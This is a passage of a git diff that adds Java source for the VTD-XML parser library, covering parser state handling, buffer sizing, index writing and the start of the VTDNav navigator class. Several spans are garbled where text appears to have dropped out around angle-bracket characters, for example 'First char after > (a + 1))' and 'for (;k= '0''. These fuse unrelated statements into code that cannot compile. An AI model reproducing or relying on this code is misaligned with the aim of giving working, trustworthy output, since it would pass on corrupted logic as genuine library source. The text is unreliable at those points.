depth);*/ + //if (length1 != 0) + if (singleByteEncoding) {// if (encoding < FORMAT_UTF_16BE){ + if (length1 > MAX_TOKEN_LENGTH) + throw new ParseException("Token Length Error:" + + "PI VAL too long (>0xfffff)" + formatLineNumber()); + _writeVTD(temp_offset, length1, TOKEN_PI_VAL, depth); + } else { + if (length1 > (MAX_TOKEN_LENGTH << 1)) + throw new ParseException("Token Length Error:" + + "PI VAL too long (>0xfffff)" + formatLineNumber()); + _writeVTD(temp_offset >> 1, length1 >> 1, TOKEN_PI_VAL, depth); + } + //length1 = 0; + temp_offset = offset; + //ch = getCharAfterSe(); + ch = getCharAfterS(); + if (ch == '<') { + if (ws) + addWhiteSpaceRecord(); + parser_state = STATE_LT_SEEN; + } else if (XMLChar.isContentChar(ch)) { + //temp_offset = offset; + parser_state = STATE_TEXT; + } else if (ch == '&') { + //has_amp = true; + //temp_offset = offset; + entityIdentifier(); + parser_state = STATE_TEXT; + } else if (ch == ']') { + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseException( + "Error in text content: ]]> in text content" + + formatLineNumber()); + + } + parser_state = STATE_TEXT; + }else + throw new ParseException( + "Error in text content: Invalid char" + + formatLineNumber()); + return parser_state; + + } + private int process_qm_seen()throws ParseException, EncodingException, EOFException { + temp_offset = offset; + ch = r.getChar(); + if (XMLChar.isNameStartChar(ch)) { + //temp_offset = offset; + if ((ch == 'x' || ch == 'X') + && (r.skipChar('m') || r.skipChar('M')) + && (r.skipChar('l') || r.skipChar('L'))) { + ch = r.getChar(); + if (ch == '?' + || XMLChar.isSpaceChar(ch)) + throw new ParseException( + "Error in PI: [xX][mM][lL] not a valid PI targetname" + + formatLineNumber()); + offset = getPrevOffset(); + } + return STATE_PI_TAG; + } + throw new ParseException( + "Other Error: First char after > (a + 1)); + l1Buffer = new FastLongBuffer(i1); + l2Buffer = new FastLongBuffer(i2); + l3Buffer = new FastIntBuffer(i3); + } else { + + int i1 = 7, i2 = 9, i3 = 11, i4 = 11, i5 = 11; + if (docLen <= 1024) { + // a = 1024; //set the floor + a = 6; + i1 = 5; + i2 = 5; + i3 = 5; + i4 = 5; + i5 = 5; + } else if (docLen <= 4096) { + a = 7; + i1 = 6; + i2 = 6; + i3 = 6; + i4 = 6; + i5 = 6; + } else if (docLen <= 1024 * 16) { + a = 8; + i1 = 7; + i2 = 7; + i3 = 7; + i4 = 7; + i5 = 7; + } else if (docLen <= 1024 * 16 * 4) { + // a = 2048; + a = 11; + i2 = 8; + i3 = 8; + i4 = 8; + i5 = 8; + } else if (docLen <= 1024 * 256) { + // a = 1024 * 4; + a = 12; + i1 = 8; + i2 = 9; + i3 = 9; + i4 = 9; + i5 = 9; + } else { + // a = 1 << 15; + a = 15; + } + + VTDBuffer = new FastLongBuffer(a, len >> (a + 1)); + l1Buffer = new FastLongBuffer(i1); + l2Buffer = new FastLongBuffer(i2); + _l3Buffer = new FastLongBuffer(i3); + _l4Buffer = new FastLongBuffer(i4); + _l5Buffer = new FastIntBuffer(i5); + } + } + /** + * The buffer-reuse version of setDoc + * The concept is to reuse LC and VTD buffer for + * XML parsing, instead of allocating every time + * @param ba + * + */ + public void setDoc_BR(byte[] ba){ + setDoc_BR(ba,0,ba.length); + } + + /** + * The buffer-reuse version of setDoc + * The concept is to reuse LC and VTD buffer for + * XML parsing, instead of allocating every time + * @param ba byte[] + * @param os int (in byte) + * @param len int (in byte) + * + */ + public void setDoc_BR(byte[] ba, int os, int len) { + if (ba == null || os < 0 || len == 0 || ba.length < os + len) { + throw new IllegalArgumentException("Illegal argument for setDoc_BR"); + } + int a; + br = true; + depth = -1; + increment = 1; + BOM_detected = false; + must_utf_8 = false; + ch = ch_temp = 0; + temp_offset = 0; + XMLDoc = ba; + docOffset = offset = os; + docLen = len; + endOffset = os + len; + last_l1_index = last_l2_index = last_depth = last_l3_index = last_l4_index= 0; + currentElementRecord = 0; + nsBuffer1.size = 0; + nsBuffer2.size = 0; + nsBuffer3.size = 0; + r = new UTF8Reader(); + if (shallowDepth) { + int i1 = 8, i2 = 9, i3 = 11; + if (docLen <= 1024) { + // a = 1024; //set the floor + a = 6; + i1 = 5; + i2 = 5; + i3 = 5; + } else if (docLen <= 4096) { + a = 7; + i1 = 6; + i2 = 6; + i3 = 6; + } else if (docLen <= 1024 * 16) { + a = 8; + i1 = 7; + i2 = 7; + i3 = 7; + } else if (docLen <= 1024 * 16 * 4) { + // a = 2048; + a = 11; + i2 = 8; + i3 = 8; + } else if (docLen <= 1024 * 256) { + // a = 1024 * 4; + a = 12; + } else { + // a = 1 << 15; + a = 15; + } + if (VTDBuffer == null) { + VTDBuffer = new FastLongBuffer(a, len >> (a + 1)); + l1Buffer = new FastLongBuffer(i1); + l2Buffer = new FastLongBuffer(i2); + l3Buffer = new FastIntBuffer(i3); + } else { + VTDBuffer.size = 0; + l1Buffer.size = 0; + l2Buffer.size = 0; + l3Buffer.size = 0; + } + } else { + int i1 = 8, i2 = 9, i3 = 11, i4 = 11, i5 = 11; + if (docLen <= 1024) { + // a = 1024; //set the floor + a = 6; + i1 = 5; + i2 = 5; + i3 = 5; + i4 = 5; + i5 = 5; + } else if (docLen <= 4096) { + a = 7; + i1 = 6; + i2 = 6; + i3 = 6; + i4 = 6; + i5 = 6; + } else if (docLen <= 1024 * 16) { + a = 8; + i1 = 7; + i2 = 7; + i3 = 7; + } else if (docLen <= 1024 * 16 * 4) { + // a = 2048; + a = 11; + i2 = 8; + i3 = 8; + i4 = 8; + i5 = 8; + } else if (docLen <= 1024 * 256) { + // a = 1024 * 4; + a = 12; + i1 = 8; + i2 = 9; + i3 = 9; + i4 = 9; + i5 = 9; + } else if (docLen <= 1024 * 1024) { + // a = 1024 * 4; + a = 12; + i1 = 8; + i3 = 10; + i4 = 10; + i5 = 10; + } else { + // a = 1 << 15; + a = 15; + i1 = 8; + } + if (VTDBuffer == null) { + VTDBuffer = new FastLongBuffer(a, len >> (a + 1)); + l1Buffer = new FastLongBuffer(i1); + l2Buffer = new FastLongBuffer(i2); + _l3Buffer = new FastLongBuffer(i3); + _l4Buffer = new FastLongBuffer(i4); + _l5Buffer = new FastIntBuffer(i5); + } else { + VTDBuffer.size = 0; + l1Buffer.size = 0; + l2Buffer.size = 0; + _l3Buffer.size = 0; + _l4Buffer.size = 0; + _l5Buffer.size = 0; + } + } + } + /** + * This method writes the VTD+XML into an outputStream + * @param os + * @throws IOException + * @throws IndexWriteException + * + */ + public void writeIndex(OutputStream os) throws IOException,IndexWriteException{ + if (shallowDepth) + IndexHandler.writeIndex_L3((byte)1, + this.encoding, + this.ns, + true, + this.VTDDepth, + 3, + this.rootIndex, + this.XMLDoc, + this.docOffset, + this.docLen, + this.VTDBuffer, + this.l1Buffer, + this.l2Buffer, + this.l3Buffer, + os); + else + IndexHandler.writeIndex_L5((byte)1, + this.encoding, + this.ns, + true, + this.VTDDepth, + 5, + this.rootIndex, + this.XMLDoc, + this.docOffset, + this.docLen, + this.VTDBuffer, + this.l1Buffer, + this.l2Buffer, + this._l3Buffer, + this._l4Buffer, + this._l5Buffer, + os); + } + + /** + * This method writes the VTDs and LCs into an outputStream + * @param os + * @throws IOException + * @throws IndexWriteException + * + */ + public void writeSeparateIndex(OutputStream os) throws IOException,IndexWriteException{ + if (shallowDepth) + IndexHandler.writeSeparateIndex_L3((byte)2, + this.encoding, + this.ns, + true, + this.VTDDepth, + 3, + this.rootIndex, + //this.XMLDoc, + this.docOffset, + this.docLen, + this.VTDBuffer, + this.l1Buffer, + this.l2Buffer, + this.l3Buffer, + os); + else + IndexHandler.writeSeparateIndex_L5((byte)2, + this.encoding, + this.ns, + true, + this.VTDDepth, + 5, + this.rootIndex, + //this.XMLDoc, + this.docOffset, + this.docLen, + this.VTDBuffer, + this.l1Buffer, + this.l2Buffer, + this._l3Buffer, + this._l4Buffer, + this._l5Buffer, + os); + } + + /** + * This method writes the VTD+XML file into a file of the given name + * @param fileName + * @throws IOException + * @throws IndexWriteException + * + */ + public void writeIndex(String fileName) throws IOException,IndexWriteException{ + FileOutputStream fos = new FileOutputStream(fileName); + writeIndex(fos); + fos.close(); + } + + /** + * This method writes the VTDs and LCs into a file of the given name + * XML is not part of the index + * please refer to VTD-XML web site for the spec and explanation + * @param fileName + * @throws IOException + * @throws IndexWriteException + * + */ + public void writeSeparateIndex(String fileName) throws IOException,IndexWriteException{ + FileOutputStream fos = new FileOutputStream(fileName); + writeSeparateIndex(fos); + fos.close(); + } + /** + * Write the VTD and LC into their storage container for where LC depth is 5. + * @param offset int + * @param length int + * @param token_type int + * @param depth int + */ + private void writeVTD(int offset, int length, int token_type, int depth) { + + + VTDBuffer.append(((long) ((token_type << 28) + | ((depth & 0xff) << 20) | length) << 32) + | offset); + + switch (depth) { + case 0: + rootIndex = VTDBuffer.size - 1; + break; + case 1: + if (last_depth == 1) { + l1Buffer.append(((long) last_l1_index << 32) | 0xffffffffL); + } else if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) | 0xffffffffL); + } + last_l1_index = VTDBuffer.size - 1; + last_depth = 1; + break; + case 2: + if (last_depth == 1) { + l1Buffer.append(((long) last_l1_index << 32) + + l2Buffer.size); + } else if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) | 0xffffffffL); + } + last_l2_index = VTDBuffer.size - 1; + last_depth = 2; + break; + + case 3: + l3Buffer.append(VTDBuffer.size - 1); + if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) + + l3Buffer.size - 1); + } + last_depth = 3; + break; + default: + //rootIndex = VTDBuffer.size() - 1; + } + } + + private void _writeVTD(int offset, int length, int token_type, int depth) { + VTDBuffer.append(((long) ((token_type << 28) + | ((depth & 0xff) << 20) | length) << 32) + | offset); + } + + private void writeVTDText(int offset, int length, int token_type, int depth) { + if (length > MAX_TOKEN_LENGTH) { + int k; + int r_offset = offset; + for (k = length; k > MAX_TOKEN_LENGTH; k = k - MAX_TOKEN_LENGTH) { + VTDBuffer.append(((long) ((token_type << 28) + | ((depth & 0xff) << 20) | MAX_TOKEN_LENGTH) << 32) + | r_offset); + r_offset += MAX_TOKEN_LENGTH; + } + VTDBuffer.append(((long) ((token_type << 28) + | ((depth & 0xff) << 20) | k) << 32) + | r_offset); + } else { + VTDBuffer.append(((long) ((token_type << 28) + | ((depth & 0xff) << 20) | length) << 32) + | offset); + } + } + /** + * Write the VTD and LC into their storage container. + * @param offset int + * @param length int + * @param token_type int + * @param depth int + */ + private void writeVTD_L5(int offset, int length, int token_type, int depth) { + + + VTDBuffer.append(((long) ((token_type << 28) + | ((depth & 0xff) << 20) | length) << 32) + | offset); + + switch (depth) { + case 0: + rootIndex = VTDBuffer.size - 1; + break; + case 1: + if (last_depth == 1) { + l1Buffer.append(((long) last_l1_index << 32) | 0xffffffffL); + } else if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) | 0xffffffffL); + } else if (last_depth ==3) { + _l3Buffer.append(((long) last_l3_index << 32) | 0xffffffffL); + } else if (last_depth ==4){ + _l4Buffer.append(((long) last_l4_index << 32) | 0xffffffffL); + } + last_l1_index = VTDBuffer.size - 1; + last_depth = 1; + break; + case 2: + if (last_depth == 1) { + l1Buffer.append(((long) last_l1_index << 32) + + l2Buffer.size); + } else if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) | 0xffffffffL); + } else if (last_depth ==3) { + _l3Buffer.append(((long) last_l3_index << 32) | 0xffffffffL); + } else if (last_depth ==4){ + _l4Buffer.append(((long) last_l4_index << 32) | 0xffffffffL); + } + last_l2_index = VTDBuffer.size - 1; + last_depth = 2; + break; + + case 3: + /*if (last_depth == 1) { + l1Buffer.append(((long) last_l1_index << 32) + + l2Buffer.size); + } else*/ + if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) + + _l3Buffer.size); + } else if (last_depth ==3) { + _l3Buffer.append(((long) last_l3_index << 32) | 0xffffffffL); + } else if (last_depth ==4){ + _l4Buffer.append(((long) last_l4_index << 32) | 0xffffffffL); + } + last_l3_index = VTDBuffer.size - 1; + last_depth = 3; + break; + + case 4: + /*if (last_depth == 1) { + l1Buffer.append(((long) last_l1_index << 32) + + l2Buffer.size); + } else if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) | 0xffffffffL); + } else*/ + if (last_depth ==3) { + _l3Buffer.append(((long) last_l3_index << 32) + + _l4Buffer.size); + } else if (last_depth ==4){ + _l4Buffer.append(((long) last_l4_index << 32) | 0xffffffffL); + } + last_l4_index = VTDBuffer.size - 1; + last_depth = 4; + break; + case 5: + _l5Buffer.append(VTDBuffer.size - 1); + if (last_depth == 4) { + _l4Buffer.append(((long) last_l4_index << 32) + + _l5Buffer.size - 1); + } + last_depth = 5; + break; + + //default: + //rootIndex = VTDBuffer.size() - 1; + } + } + /** + * + * @throws ParseException + */ + private void qualifyElement() throws ParseException{ + int i= nsBuffer3.size-1; + // two cases: + // 1. the current element has no prefix, look for xmlns + // 2. the current element has prefix, look for xmlns:something + + int preLen = (int)((currentElementRecord & 0xffff000000000000L)>>48); + int preOs = (int)currentElementRecord; + while(i>=0){ + int t = nsBuffer3.upper32At(i); + // with prefix, get full length and prefix length + if ( (t&0xffff) - (t>>16) == preLen){ + // doing byte comparison here + int os = nsBuffer3.lower32At(i)+(t>>16)+increment; + int k=0; + for (;k= '0' && ch <= '9') { + val = (val << 4) + (ch - '0'); + } else if (ch >= 'a' && ch <= 'f') { + val = (val << 4) + (ch - 'a' + 10); + } else if (ch >= 'A' && ch <= 'F') { + val = (val << 4) + (ch - 'A' + 10); + } else if (ch == ';') { + inc+=increment; + break; + } + } + } else { + while (true) { + ch = getCharUnit(byte_offset); + byte_offset+=increment; + inc+=increment; + if (ch >= '0' && ch <= '9') { + val = val * 10 + (ch - '0'); + } else if (ch == ';') { + break; + } + } + } + break; + + case 'a' : + ch = getCharUnit(byte_offset); + if (encoding"+new String(XMLDoc, bos1, len1)+" "+new String(XMLDoc,bos2,len2)); + while(i1>32); + i2 += (int)(l2>>32); + } + if (i1==i3 && i2==i4) + return true; + return false; + } + + private void checkAttributeUniqueness() + throws ParseException + { + boolean unique = true; + boolean unequal; + for (int i = 0; i < attr_count; i++) { + unequal = false; + int prevLen = (int) attr_name_array[i]; + if (length1 == prevLen) { + int prevOffset = + (int) (attr_name_array[i] >> 32); + for (int j = 0; j < prevLen; j++) { + if (XMLDoc[prevOffset + j] + != XMLDoc[temp_offset + j]) { + unequal = true; + break; + } + } + } else + unequal = true; + unique = unique && unequal; + } + if (!unique && attr_count != 0) + throw new ParseException( + "Error in attr: Attr name not unique" + + formatLineNumber()); + unique = true; + if (attr_count < attr_name_array.length) { + attr_name_array[attr_count] = + ((long) (temp_offset) << 32) | length1; + attr_count++; + } else // grow the attr_name_array by 16 + { + long[] temp_array = attr_name_array; + /*System.out.println( + "size increase from " + + temp_array.length + + " to " + + (attr_count + 16));*/ + attr_name_array = + new long[attr_count + ATTR_NAME_ARRAY_SIZE]; + System.arraycopy(temp_array, 0, attr_name_array, 0, attr_count); + /*for (int i = 0; i < attr_count; i++) { + attr_name_array[i] = temp_array[i]; + }*/ + attr_name_array[attr_count] = + ((long) (temp_offset) << 32) | length1; + attr_count++; + } + // insert prefix attr node into the prefixed_attr_name array + // xml:something will not be inserted + //System.out.println(" prefixed attr count ===>"+prefixed_attr_count); + //System.out.println(" length2 ===>"+length2); + if (ns && !is_ns && length2!=0 ){ + if ((increment==1 && length2 ==3 && matchXML(temp_offset)) + || (increment==2 &&length2 ==6 && matchXML(temp_offset))){ + return; + } + else if (prefixed_attr_count < prefixed_attr_name_array.length){ + prefixed_attr_name_array[prefixed_attr_count] = + ((long) (temp_offset) << 32) | (length2<<16)| length1; + prefixed_attr_count++; + }else { + long[] temp_array1 = prefixed_attr_name_array; + prefixed_attr_name_array = + new long[prefixed_attr_count + ATTR_NAME_ARRAY_SIZE]; + prefix_URL_array = + new int[prefixed_attr_count + ATTR_NAME_ARRAY_SIZE]; + System.arraycopy(temp_array1, 0, prefixed_attr_name_array, 0, prefixed_attr_count); + //System.arraycopy(temp_array1, 0, prefixed_attr_val_array, 0, prefixed_attr_count) + /*for (int i = 0; i < attr_count; i++) { + attr_name_array[i] = temp_array[i]; + }*/ + prefixed_attr_name_array[prefixed_attr_count] = + ((long) (temp_offset) << 32) | (length2<<16)| length1; + prefixed_attr_count++; + } + } + } + + private void handleOtherTextChar(int ch) throws ParseException{ + if (ch == '&') { + //has_amp = true; + if (!XMLChar.isValidChar(entityIdentifier())) + throw new ParseException( + "Error in text content: Invalid char in text content " + + formatLineNumber()); + //parser_state = STATE_TEXT; + } else if (ch == ']') { + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseException( + "Error in text content: ]]> in text content" + + formatLineNumber()); + } + } else + throw new ParseException( + "Error in text content: Invalid char in text content " + + formatLineNumber()); + } + + private void handleOtherTextChar2(int ch) throws ParseException{ + if (ch == '&') { + //has_amp = true; + //temp_offset = offset; + entityIdentifier(); + //parser_state = STATE_TEXT; + } else if (ch == ']') { + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseException( + "Error in text content: ]]> in text content" + + formatLineNumber()); + } + //parser_state = STATE_TEXT; + }else + throw new ParseException( + "Error in text content: Invalid char" + + formatLineNumber()); + } + private int processElementTail(boolean helper) throws ParseException, EncodingException, EOFException{ + if (depth != -1) { + temp_offset = offset; + //ch = getCharAfterSe(); + ch = getCharAfterS(); + + if (ch == '<') { + if (ws) + addWhiteSpaceRecord(); + //parser_state = STATE_LT_SEEN; + if (r.skipChar('/')) { + if (helper) { + length1 = offset - temp_offset + - (increment << 1); + //if (length1 > 0) { + if (singleByteEncoding)//if (encoding < FORMAT_UTF_16BE) + writeVTDText((temp_offset), + length1, + TOKEN_CHARACTER_DATA, + depth); + else + writeVTDText((temp_offset) >> 1, + (length1 >> 1), + TOKEN_CHARACTER_DATA, + depth); + //} + } + return STATE_END_TAG; + } + return STATE_LT_SEEN; + } else if (XMLChar.isContentChar(ch)) { + //temp_offset = offset; + return STATE_TEXT; + } else { + handleOtherTextChar2(ch); + return STATE_TEXT; + } + } + return STATE_DOC_END; + + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/VTDNav.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/VTDNav.java new file mode 100644 index 0000000..b735e56 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/VTDNav.java @@ -0,0 +1,8139 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +/* + * + * This class is created to update VTDNav's implementation with + * a more thread safe version + */ +package com.ximpleware; + +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import com.ximpleware.parser.ISO8859_15; +import com.ximpleware.parser.ISO8859_14; +import com.ximpleware.parser.ISO8859_13; +import com.ximpleware.parser.ISO8859_11; +import com.ximpleware.parser.ISO8859_10; +import com.ximpleware.parser.ISO8859_2; +import com.ximpleware.parser.ISO8859_3; +import com.ximpleware.parser.ISO8859_4; +import com.ximpleware.parser.ISO8859_5; +import com.ximpleware.parser.ISO8859_6; +import com.ximpleware.parser.ISO8859_7; +import com.ximpleware.parser.ISO8859_8; +import com.ximpleware.parser.ISO8859_9; +import com.ximpleware.parser.UTF8Char; +import com.ximpleware.parser.WIN1250; +import com.ximpleware.parser.WIN1251; +import com.ximpleware.parser.WIN1252; +import com.ximpleware.parser.WIN1253; +import com.ximpleware.parser.WIN1254; +import com.ximpleware.parser.WIN1255; +import com.ximpleware.parser.WIN1256; +import com.ximpleware.parser.WIN1257; +import com.ximpleware.parser.WIN1258; +/** + * The VTD Navigator allows one to navigate XML document represented in VTD + * records and Location caches. There is one and only one cursor that you can + * navigate to any part of the tree. If a method operating on a node doesn't + * accept the node as input, by default it refers to the cursor element. The + * hierarchy consists entirely of elements. + */ +public class VTDNav { + // Navigation directions + public final static int ROOT = 0; + public final static int PARENT = 1; + public final static int FIRST_CHILD = 2; + public final static int LAST_CHILD = 3; + public final static int NEXT_SIBLING = 4; + public final static int PREV_SIBLING = 5; + + // Navigation directions + public final static int R = 0; + public final static int P = 1; + public final static int FC = 2; + public final static int LC = 3; + public final static int NS = 4; + public final static int PS = 5; + + // token type definitions + public final static int TOKEN_STARTING_TAG = 0; + public final static int TOKEN_ENDING_TAG = 1; + public final static int TOKEN_ATTR_NAME = 2; + public final static int TOKEN_ATTR_NS = 3; + public final static int TOKEN_ATTR_VAL = 4; + public final static int TOKEN_CHARACTER_DATA = 5; + public final static int TOKEN_COMMENT = 6; + public final static int TOKEN_PI_NAME = 7; + public final static int TOKEN_PI_VAL = 8; + public final static int TOKEN_DEC_ATTR_NAME = 9; + public final static int TOKEN_DEC_ATTR_VAL = 10; + public final static int TOKEN_CDATA_VAL = 11; + public final static int TOKEN_DTD_VAL = 12; + public final static int TOKEN_DOCUMENT =13; + + // encoding format definition here + public final static int FORMAT_UTF8 = 2; + public final static int FORMAT_ASCII = 0; + + public final static int FORMAT_ISO_8859_1 = 1; + public final static int FORMAT_ISO_8859_2 = 3; + public final static int FORMAT_ISO_8859_3 = 4; + public final static int FORMAT_ISO_8859_4 = 5; + public final static int FORMAT_ISO_8859_5 = 6; + public final static int FORMAT_ISO_8859_6 = 7; + public final static int FORMAT_ISO_8859_7 = 8; + public final static int FORMAT_ISO_8859_8 = 9; + public final static int FORMAT_ISO_8859_9 = 10; + public final static int FORMAT_ISO_8859_10 = 11; + public final static int FORMAT_ISO_8859_11 = 12; + public final static int FORMAT_ISO_8859_12 = 13; + public final static int FORMAT_ISO_8859_13 = 14; + public final static int FORMAT_ISO_8859_14 = 15; + public final static int FORMAT_ISO_8859_15 = 16; + public final static int FORMAT_ISO_8859_16 = 17; + + public final static int FORMAT_WIN_1250 = 18; + public final static int FORMAT_WIN_1251 = 19; + public final static int FORMAT_WIN_1252 = 20; + public final static int FORMAT_WIN_1253 = 21; + public final static int FORMAT_WIN_1254 = 22; + public final static int FORMAT_WIN_1255 = 23; + public final static int FORMAT_WIN_1256 = 24; + public final static int FORMAT_WIN_1257 = 25; + public final static int FORMAT_WIN_1258 = 26; + + + public final static int FORMAT_UTF_16LE = 64; + public final static int FORMAT_UTF_16BE = 63; + + // String style + public final static int STRING_RAW =0; + public final static int STRING_REGULAR = 1; + public final static int STRING_NORMALIZED = 2; + + // masks for obtaining various fields from a VTD token + protected final static long MASK_TOKEN_FULL_LEN = 0x000fffff00000000L; + protected final static long MASK_TOKEN_PRE_LEN = 0x000ff80000000000L; + protected final static long MASK_TOKEN_QN_LEN = 0x000007ff00000000L; + protected long MASK_TOKEN_OFFSET = 0x000000003fffffffL; + protected final static long MASK_TOKEN_TYPE = 0xf000000000000000L; + protected final static long MASK_TOKEN_DEPTH = 0x0ff0000000000000L; + + // tri-state variable for namespace lookup + protected final static long MASK_TOKEN_NS_MARK = 0x00000000c0000000L; + protected short maxLCDepthPlusOne =4; + + protected int rootIndex; // where the root element is at + protected int nestingLevel; + protected int[] context; // main navigation tracker aka context object + protected boolean atTerminal; // this variable is to make vn compatible with + // xpath's data model + + + // location cache part + protected int l2upper; + protected int l2lower; + protected int l3upper; + protected int l3lower; + protected int l2index; + protected int l3index; + protected int l1index; + + // containers + protected FastLongBuffer vtdBuffer; + protected FastLongBuffer l1Buffer; + protected FastLongBuffer l2Buffer; + protected FastIntBuffer l3Buffer; + protected IByteBuffer XMLDoc; + + //private int recentNS; // most recently visited NS node, experiment for + // now + // Hierarchical representation is an array of integers addressing elements + // tokens + protected ContextBuffer contextStack; + protected ContextBuffer contextStack2;// this is reserved for XPath + + protected int LN; // record txt and attrbute for XPath eval purposes + // the document encoding + protected int encoding; + //protected boolean writeOffsetAdjustment; + // for string to token comparison + //protected int currentOffset; + //protected int currentOffset2; + + // whether the navigation is namespace enabled or not. + protected boolean ns; + + // intermediate buffer for push and pop purposes + protected int[] stackTemp; + protected int docOffset; + // length of the document + protected int docLen; + protected int vtdSize; //vtd record count + + protected String name; + protected int nameIndex; + + protected String localName; + protected int localNameIndex; + protected FastIntBuffer fib;//for store string value + protected boolean shallowDepth; + protected BookMark currentNode; + protected String URIName; + protected int count; + + protected VTDNav(){} + + /** + * Initialize the VTD navigation object. + * + * @param RootIndex + * int + * @param maxDepth + * int + * @param encoding + * int + * @param NS + * boolean + * @param x + * byte[] + * @param vtd + * com.ximpleware.ILongBuffer + * @param l1 + * com.ximpleware.ILongBuffer + * @param l2 + * com.ximpleware.ILongBuffer + * @param l3 + * com.ximpleware.IIntBuffer + * @param so + * int starting offset of the document(in byte) + * @param length + * int length of the document (in byte) + */ + protected VTDNav( + int RootIndex, + int enc, + boolean NS, + int depth, + IByteBuffer x, + FastLongBuffer vtd, + FastLongBuffer l1, + FastLongBuffer l2, + FastIntBuffer l3, + int so, // start offset of the starting offset(in byte) + int length) // lengnth of the XML document (in byte)) + { + // initialize all buffers + if (l1 == null + || l2 == null + || l3 == null + || vtd == null + || x == null + || depth < 0 + || RootIndex < 0 //|| encoding <= FORMAT_UTF8 + //|| encoding >= FORMAT_ISO_8859_1 + || so < 0 + || length < 0) { + throw new IllegalArgumentException(); + } + count=0; + l1Buffer = l1; + l2Buffer = l2; + l3Buffer = l3; + vtdBuffer = vtd; + XMLDoc = x; + + encoding = enc; + //System.out.println("encoding " + encoding); + rootIndex = RootIndex; + nestingLevel = depth + 1; + ns = NS; // namespace aware or not + if (ns == false) + MASK_TOKEN_OFFSET = 0x000000007fffffffL; // this allows xml size to + // be 2GB + else // if there is no namespace + MASK_TOKEN_OFFSET = 0x000000003fffffffL; + + + atTerminal = false; //this variable will only change value during XPath + // eval + + // initialize the context object + this.context = new int[nestingLevel]; + //depth value is the first entry in the context because root is + // singular. + context[0] = 0; + //set the value to zero + for (int i = 1; i < nestingLevel; i++) { + context[i] = -1; + } + //currentOffset = 0; + //contextStack = new ContextBuffer(1024, nestingLevel + 7); + contextStack = new ContextBuffer(10, nestingLevel + 9); + contextStack2 = new ContextBuffer(10, nestingLevel+9); + stackTemp = new int[nestingLevel + 9]; + + // initial state of LC variables + l1index = l2index = l3index = -1; + l2lower = l3lower = -1; + l2upper = l3upper = -1; + docOffset = so; + docLen = length; + //System.out.println("offset " + offset + " length " + length); + //printL2Buffer(); + vtdSize = vtd.size; + //writeOffsetAdjustment = false; + //recentNS = -1; + name = null; + nameIndex = -1; + localName = null; + localNameIndex = -1; + fib = new FastIntBuffer(5); // page size is 32 ints + shallowDepth = true; + } + /** + * Return the attribute count of the element at the cursor position. when ns + * is false, attr_ns tokens are considered attributes; otherwise, ns tokens + * are not considered attributes + * + * @return int + */ + public int getAttrCount() { + if (context[0]==-1)return 0; + int count = 0; + int index = getCurrentIndex() + 1; + while (index < vtdSize) { + int type = getTokenType(index); + if (type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_VAL + || type == TOKEN_ATTR_NS) { + if (type == TOKEN_ATTR_NAME + || (!ns && (type == TOKEN_ATTR_NS))) { + count++; + } + } else + break; + index++; + } + return count; + } + /** + * Get the token index of the attribute value given an attribute name. + * + * @return int (-1 if no such attribute name exists) + * @param an + * java.lang.String + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because the VTD etc can be generated + * by another machine from a load-balancer. + * @exception IllegalArguementException + * if an is null + */ + public int getAttrVal(String an) throws NavException { + //int size = vtdBuffer.size(); + if (context[0]==-1 /*|| atTerminal*/) + return -1; + int index = (context[0] != 0) ? context[context[0]] + 1 : rootIndex + 1; + + int type; + if (index= vtdSize) + break; + type = getTokenType(index); + } + } else { + while ((type == TOKEN_ATTR_NAME || type == TOKEN_ATTR_NS)) { + if (type == TOKEN_ATTR_NAME + && matchRawTokenString( + index, + an)) { // ns node visible only ns is disabled + return index + 1; + } + index += 2; + if (index>=vtdSize) + break; + type = getTokenType(index); + } + } + return -1; + } + /** + * Get the token index of the attribute value of given URL and local name. + * If ns is not enabled, the lookup will return -1, indicating a no-found. + * Also namespace nodes are invisible using this method. One can't use * to + * indicate any name space because * is ambiguous!! + * + * @return int (-1 if no matching attribute found) + * @param URL + * java.lang.String (Name space URL) + * @param ln + * java.lang.String (local name) + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because the VTD etc can be generated + * by another machine from a load-balancer. + * @exception IllegalArguementException + * if s is null + */ + public int getAttrValNS(String URL, String ln) throws NavException { + if (!ns || context[0]==-1 /*|| atTerminal*/) + return -1; + if (URL!=null && URL.length()==0) + URL = null; + if (URL == null) + return getAttrVal(ln); + int size = vtdBuffer.size; + int index = (context[0] != 0) ? context[context[0]] + 1 : rootIndex + 1; + // point to the token next to the element tag + int type; + if (index> 16) & 0xffff; + int fullLen = i & 0xffff; + if (preLen != 0 + // attribute name without a prefix is not bound to any + // namespaces + && matchRawTokenString( + offset + preLen + 1, + fullLen - preLen - 1, + ln) + && resolveNS(URL, offset, preLen)) { + return index + 1; + } else if ( preLen==3 + && matchRawTokenString(offset, 3,"xml") + && 